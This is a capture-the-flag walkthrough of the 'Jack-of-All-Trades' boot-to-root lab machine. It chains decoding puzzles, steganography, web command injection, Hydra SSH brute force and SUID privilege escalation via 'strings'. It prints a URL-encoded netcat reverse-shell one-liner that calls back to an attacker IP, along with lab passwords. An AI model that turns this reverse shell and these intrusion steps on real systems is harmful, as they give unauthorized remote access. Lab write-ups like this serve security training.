πJack-of-All-Trades
Boot-to-root originally designed for Securi-Tay 2020

1.Reconnaisance
1.1 Nmap
Using nmap to scan and identify open ports and services
We find open ports
22and80with http service and ssh running respectively (weird reversal)
2. Enumeration
Going over to the webpage on port
22, we see a blog

Inspecting the source code, we see a base64 encoded string as well as a mention of a directory
/recovery.phpin the comments

Decoding the base64 string, we find a mention of a certain
Johny Gravesand his encoding systems as well as a passwordu?WtKSraq
Going over to
/recovery.php, find a login portal

Viewing the source code, we find another string in the comments

Not base64, maybe related to the encoding by
Johny Gravesmentioned aboveGoogling
Johny Graves, we can find a MySpace page related to the name where we find a post related to his favorite crypto method

So we can try to decode is as mentioned in this; first base32, then hex and finally ROT13 the result to decode the text. We can use cyberchef to chain this

It says
Remember that the credentials to the recovery login are hidden on the homepage! I know how forgetful you are, so here's a hint: bit.ly/2TvYQ2SGoing over to the link,it takes us to the Wikipedia page of
stegosauria, the name gives us a hint of steganography.Also, there is a stegosaurus image in the homage of the blog

We can download the image and use
steghideto extract it. We can enter the passphraseu?WtKSraqobtained earlier.we get a filecreds.txt.Viewing the file, we see that it is the wrong image
jackinthebox.jpgalso does not give any resultsBut
header.jpgextracts a filecms.credswhich give a username and password
jackinthebox:TplFxiSHjY
We can use these credentials to log in to
/recovery.php

We can run any command by appending
?cmd=$cmdat the end of the URL

3. Gaining Access
We can append a reverse shell on-liner from payloadsallthethings and URL encoding it :
rm%20-f%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.11.66.165%204242%20%3E%2Ftmp%2FfStablizing the shell
We can find a file
jacks_password_listin the/homedirectory. Might be useful for brute forcing. Save it aspass.txtin the local machine
3.1 Hydra
We can use hydra to brute force ssh password of
jack
We go the creds
jack:ITMJpGGIqg1jn?>@
3.2 SSH
SSHing as
jack, we find an imageuser.jpg
Viewing the image gives us the user flag
3.3 SUID
Finding a suid bit set file to escalate privileges
We find that
/usr/bin/stringscan run as root and can be used to read the root flag located in/root/root.txt
Last updated